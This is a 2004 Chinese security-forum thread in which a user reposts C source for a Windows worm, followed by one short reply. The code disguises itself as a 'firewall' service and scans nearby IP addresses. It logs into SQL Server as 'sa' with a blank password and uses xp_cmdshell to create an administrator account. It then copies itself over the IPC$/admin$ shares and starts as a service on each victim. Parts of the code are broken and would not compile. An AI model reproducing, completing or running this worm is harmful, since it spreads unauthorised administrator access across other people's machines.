|
作者: seny11 [seny11] 论坛用户 | 登录 |
(转自搜毒网) #include <stdio.h> #include <windows.h> #include <winsvc.h> #include <wchar.h> #include <sql.h> #include <sqlext.h> #include <lmcons.h> #include <winsock2.h> #include <shellapi.h> #define ServiceName "Microsoft NetWork Services FireWall";//欺骗对方 char RemoteFilePath[128]={0}; bool ConnIPC(char *RemoteName,char *User,char *Pass);// ipc$的连接 long GetLocalIP(void);//获得本机IP DWORD WINAPI Sqlcmd(LPVOID lp);//sqlcmd?//you know the meaning int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow); SERVICE_STATUS_HANDLE ssh; SERVICE_STATUS ss; ///////////////////////////////////////////////////////////////////////// void ServiceStopped(void) { ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS; ss.dwCurrentState=SERVICE_STOPPED; ss.dwControlsAccepted=SERVICE_ACCEPT_STOP; ss.dwWin32ExitCode=NO_ERROR; ss.dwCheckPoint=0; ss.dwWaitHint=0; SetServiceStatus(ssh,&ss); return 0; } ///////////////////////////////////////////////////////////////////////// void ServicePaused(void) { ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS; ss.dwCurrentState=SERVICE_PAUSED; ss.dwControlsAccepted=SERVICE_ACCEPT_STOP; ss.dwWin32ExitCode=NO_ERROR; ss.dwCheckPoint=0; ss.dwWaitHint=0; SetServiceStatus(ssh,&ss); return 0; } void ServiceRunning(void) { ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS; ss.dwCurrentState=SERVICE_RUNNING; ss.dwControlsAccepted=SERVICE_ACCEPT_STOP; ss.dwWin32ExitCode=NO_ERROR; ss.dwCheckPoint=0; ss.dwWaitHint=0; SetServiceStatus(ssh,&ss); return 0; } ///////////////////////////////////////////////////////////////////////// void WINAPI servier_ctrl(DWORD Opcode)//服务控制程序 { switch(Opcode) { case SERVICE_CONTROL_STOP://停止Service ServiceStopped(); break; case SERVICE_CONTROL_INTERROGATE: SetServiceStatus(ssh,&ss); break; } return 0; } ////////////////////////////////////////////////////////////////////////////// //杀进程成功设置服务状态为SERVICE_STOPPED //失败设置服务状态为SERVICE_PAUSED // void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv) { ssh=RegisterServiceCtrlHandler(ServiceName,servier_ctrl); if(!ssh) { ServicePaused(); return; } ServiceRunning(); Sleep(100); WinMain(0,0,0,0); return 0; } ///////////////////////////////////////////////////////////////////////////// void main(DWORD dwArgc,LPTSTR *lpszArgv) { SERVICE_TABLE_ENTRY ste[2]; ste[0].lpServiceName=ServiceName; ste[0].lpServiceProc=ServiceMain; ste[1].lpServiceName=NULL; ste[1].lpServiceProc=NULL; StartServiceCtrlDispatcher(ste); return; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { int a=2 HANDLE hThread=NULL; DWORD dwThreadID; long PreviousCount; HKEY KittyXPaInstallKey,KittyXPaNewKey; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\KittyXP.a\\Install",0,KEY_ALL_ACCESS,&KittyXPaInstallKey)==ERROR_SUCCESS) { HMODULE g_module=NULL char svFileName[512] g_module=GetModuleHandle(NULL) GetModuleFileName(g_module,svFileName,512) char systemdir[512] GetSystemDirectory(systemdir,512) lstrcat(systemdir,"\\ssrv.exe") CopyFile(svFileName,systemdir,false) RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\KittyXP.a\\Install",&KittyXPaNewKey); RegCloseKey(KittyXPaNewKey); } int i; int StartNet; int StopNet; int StartHost;//IP段开始 int StopHost;//IP段结束 WSADATA wsaData; struct in_addr host; WSAStartup(0x202, &wsaData ); StartNet=GetLocalIP(); StopNet=GetLocalIP()+100; StartHost=ntohl(StartNet); StopHost=ntohl(StopNet); WSACleanup(); do { host.S_un.S_addr = inet_addr(argv[1]); WSAStartup(0x202, &wsaData ); hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL); if(hSemaphore==NULL) { //printf("\nCreateSemaphore failed:%d",GetLastError()); //file://__leave; } for(i=StartHost;i<=StopHost;i++) { hThread=CreateThread(NULL,0,sqlcmd,(LPVOID)i,0,&dwThreadID); if((hThread==NULL) { //printf("\nCreate thread failed:%d",GetLastError()); break; } //printf("."); Sleep(10); CloseHandle(hThread); WaitForSingleObject(hSemaphore,INFINITE); } while(1) { WaitForSingleObject(hSemaphore,INFINITE); if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount)) { //printf("\nmain() ReleaseSemaphore failed:%d",GetLastError()); Sleep(5000); break; } if(PreviousCount==(MaxThread-1)) { //printf("\nAll done."); break; } Sleep(500); } CloseHandle(hSemaphore); WSACleanup(); } while(a=2);//死循环 return 0; } long GetLocalIP(void) { char szName[128]; int i; PHOSTENT pHost; gethostname(szName, 128); //printf("%s\n",szName); pHost = gethostbyname(szName); if( NULL == pHost )// failed return 0; for(i=0;pHost->h_addr_list[i]!=NULL;i++) //printf("%s\n",inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i]))); return inet_addr(inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i-1]))); } DWORD WINAPI sqlcmd(LPVOID lp) { SQLCHAR Host[512]=""; SQLCHAR *User=";UID=sa"; SQLCHAR *Pass=";PWD="; SQLCHAR *Database=""; SQLCHAR InConnectionString[1025]=""; SQLCHAR rowBuff[200]=""; SQLINTEGER iRowBuff; UCHAR Query[1500]=""; UCHAR Cmd[300]=""; char inBuff[1025]=""; SQLRETURN nResult; SWORD sLen; SQLHDBC hDbc; HSTMT hStmt; SQLHANDLE hEnvironment; int retries = 0; memset(Query,0,1499); strcpy(Host,lp); sprintf(InConnectionString,"DRIVER={SQL Server};SERVER=%s%s%s%s",Host,User,Pass,Database); if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&hEnvironment) != SQL_SUCCESS) { //printf("SQLAllocHandle returned an error!\n"); return 0; } if (SQLSetEnvAttr(hEnvironment, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) { //printf("SQLSetEnvAttr returned an error!\n"); return 0; } if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,hEnvironment,(SQLHDBC FAR*)&hDbc)) != SQL_SUCCESS) { //printf("SQLAllocHandle returned an error!\n"); return 0; } while(retries < 4) { nResult = SQLDriverConnect(hDbc,NULL, InConnectionString, strlen(InConnectionString), inBuff, 1024, &sLen, SQL_DRIVER_COMPLETE_REQUIRED); if(nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO) { //printf("Ok.You have connected to MASTER database...\n"); SQLAllocStmt(hDbc,&hStmt); break; } else { if(retries == 3) { //printf("\nCould not connect to the SQL Server on the target!\n\nMake sure you use !!HOSTNAME NOT IP!!\n" "If you are using dial-up connection retry for a few times.\n" "If you are sure that SQL server is installed on the target check that port 1433 is open.\n" "If port 1433 is open and you have tried several times to connect, then probably SA does not have a NULL password.\n" "Get a SQL server brute force cracker , try to hack passwords and try again.\n" "If you are a script kiddy then go (www.technotronic.com or packetstorm.securify.com) , find some documents , read them at least 1 year and try again.:))"); return 0; } retries++; //printf("Performing retry(%d)...\n",retries); Sleep(5000); } } memset(cmd,0,300); strcpy(cmd,"cmd /c net user "); lstrcat(cmd,GetLocalIP()); lstrcat(cmd," 123 /add\r\n"); Cmd[strlen(Cmd)-1]='\0'; sprintf(Query,"EXEC master..xp_cmdshell \"%s\"",Cmd); //printf("Trying to execute %s on the target\n",Cmd); if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS) { //printf("An error occured while performing your query." "This does not mean that your command is unsuccesfull...\n" "Check the result.If it didnt work then \n" "make sure you did not use duplicate keywords with ODBC api\n or the target does not have ' xp_cmdshell ' stored procedure."); return 0; } while (nResult != SQL_ERROR) { memset(Query,0,1499); memset(cmd,0,300); strcpy(cmd,"cmd /c net localgroup administrators "); lstrcat(cmd,GetLocalIP()); lstrcat(cmd," /add\r\n"); Cmd[strlen(Cmd)-1]='\0'; sprintf(Query,"EXEC master..xp_cmdshell \"%s\"",Cmd); if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS) { //printf("An error occured while performing your query." "This does not mean that your command is unsuccesfull...\n" "Check the result.If it didnt work then \n" "make sure you did not use duplicate keywords with ODBC api\n or the target does not have ' xp_cmdshell ' stored procedure."); return 0; } memset(rowBuff,0,99); nResult = SQLFetch(hStmt); if (nResult == SQL_ERROR || nResult == SQL_SUCCESS_WITH_INFO) { //printf("Error while fething the results from the stored proc.\n"); } if (nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO){ SQLGetData(hStmt, 1, SQL_C_CHAR, rowBuff, 100, &iRowBuff); //printf("%s \n",rowBuff); } else { break; } } SQLFreeHandle(SQL_HANDLE_DBC,&hDbc); SQLFreeHandle(SQL_HANDLE_ENV,&hEnvironment); SQLFreeHandle(SQL_HANDLE_STMT,&hStmt); if(ConnIPC((char*)lp,(char*)GetLocalIP(),123)) { memset(RemoteFilePath,0,sizeof(RemoteFilePath)); HMODULE g_module=NULL ; char svFileName[512]; g_module=GetModuleHandle(NULL); GetModuleFileName(g_module,svFileName,512); lstrcat(RemoteFilePath,"\\\\"); lstrcat(RemoteFilePath,(char*)lp); lstrcat(RemoteFilePath,"\\admin$\\system32\\"); lstrcat(RemoteFilePath,"stg.exe"); CopyFile(svFileName,RemotFilePath,false); bool bRet=FALSE; SERVICE_STATUS ssStatus; SC_HANDLE hSCManager=NULL,hSCService=NULL; __try { //Open Service Control Manager on Local or Remote machine hSCManager=OpenSCManager((char*)lp,NULL,SC_MANAGER_ALL_ACCESS); if(hSCManager==NULL) { //printf("\nOpen Service Control Manage failed:%d",GetLastError()); return 0; } //printf("\nOpen Service Control Manage ok!"); //Create Service hSCService=CreateService(hSCManager,// handle to SCM database ServiceName,// name of service to start ServiceName,// display name SERVICE_ALL_ACCESS,// type of access to service SERVICE_WIN32_OWN_PROCESS,// type of service SERVICE_AUTO_START,// when to start service SERVICE_ERROR_IGNORE,// severity of service failure "stg.EXE",// name of binary file NULL,// name of load ordering group NULL,// tag identifier NULL,// array of dependency names NULL,// account name NULL);// account password //create service failed if(hSCService==NULL) { //如果服务已经存在,那么则打开 if(GetLastError()==ERROR_SERVICE_EXISTS) { //printf("\nService %s Already exists",ServiceName); //open service hSCService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS); if(hSCService==NULL) { //printf("\nOpen Service failed:%d",GetLastError()); return 0; } //printf("\nOpen Service %s ok!",ServiceName); } else { //printf("\nCreateService failed:%d",GetLastError()); return 0; } } //create service ok else { //printf("\nCreate Service %s ok!",ServiceName); } // 起动服务 if (StartService(hSCService,0,null)) { //printf("\nStarting %s.", ServiceName); Sleep(20);//时间最好不要超过100ms while( QueryServiceStatus(hSCService, &ssStatus ) ) { if ( ssStatus.dwCurrentState == SERVICE_START_PENDING) { //printf("."); Sleep(20); } else break; } if ( ssStatus.dwCurrentState != SERVICE_RUNNING ) //printf("\n%s failed to run:%d",ServiceName,GetLastError()); } else if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING) { //printf("\nService %s already running.",ServiceName); } else { //printf("\nStart Service %s failed:%d",ServiceName,GetLastError()); return 0; } bRet=TRUE; }//enf of try __finally { WNetCancelConnection2((char*)("\\\\"&lp&"\\IPC$"),CONNECT_UPDATE_PROFILE,TRUE); return bRet; } } return 0; } bool ConnIPC(char *RemoteName,char *User,char *Pass) { NETRESOURCE nr; char RN[50]="\\\\"; strcat(RN,RemoteName); strcat(RN,"\\ipc$"); nr.dwType=RESOURCETYPE_ANY; nr.lpLocalName=NULL; nr.lpRemoteName=RN; nr.lpProvider=NULL; if(WNetAddConnection2(&nr,Pass,User,FALSE)==NO_ERROR) return TRUE; else return FALSE; } //----------------------------------------------------------------------------------------------- ---------------------------------------------- [此贴被 seny11(seny11) 在 02月17日13时19分 编辑过] |
地主 发表时间: 04-02-17 13:17 |
回复: sniper167 [sniper167] 论坛用户 | 登录 |
SQL只会简单的使用,没学过数据库系统原理,有些看不懂 |
B1层 发表时间: 04-02-17 13:35 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号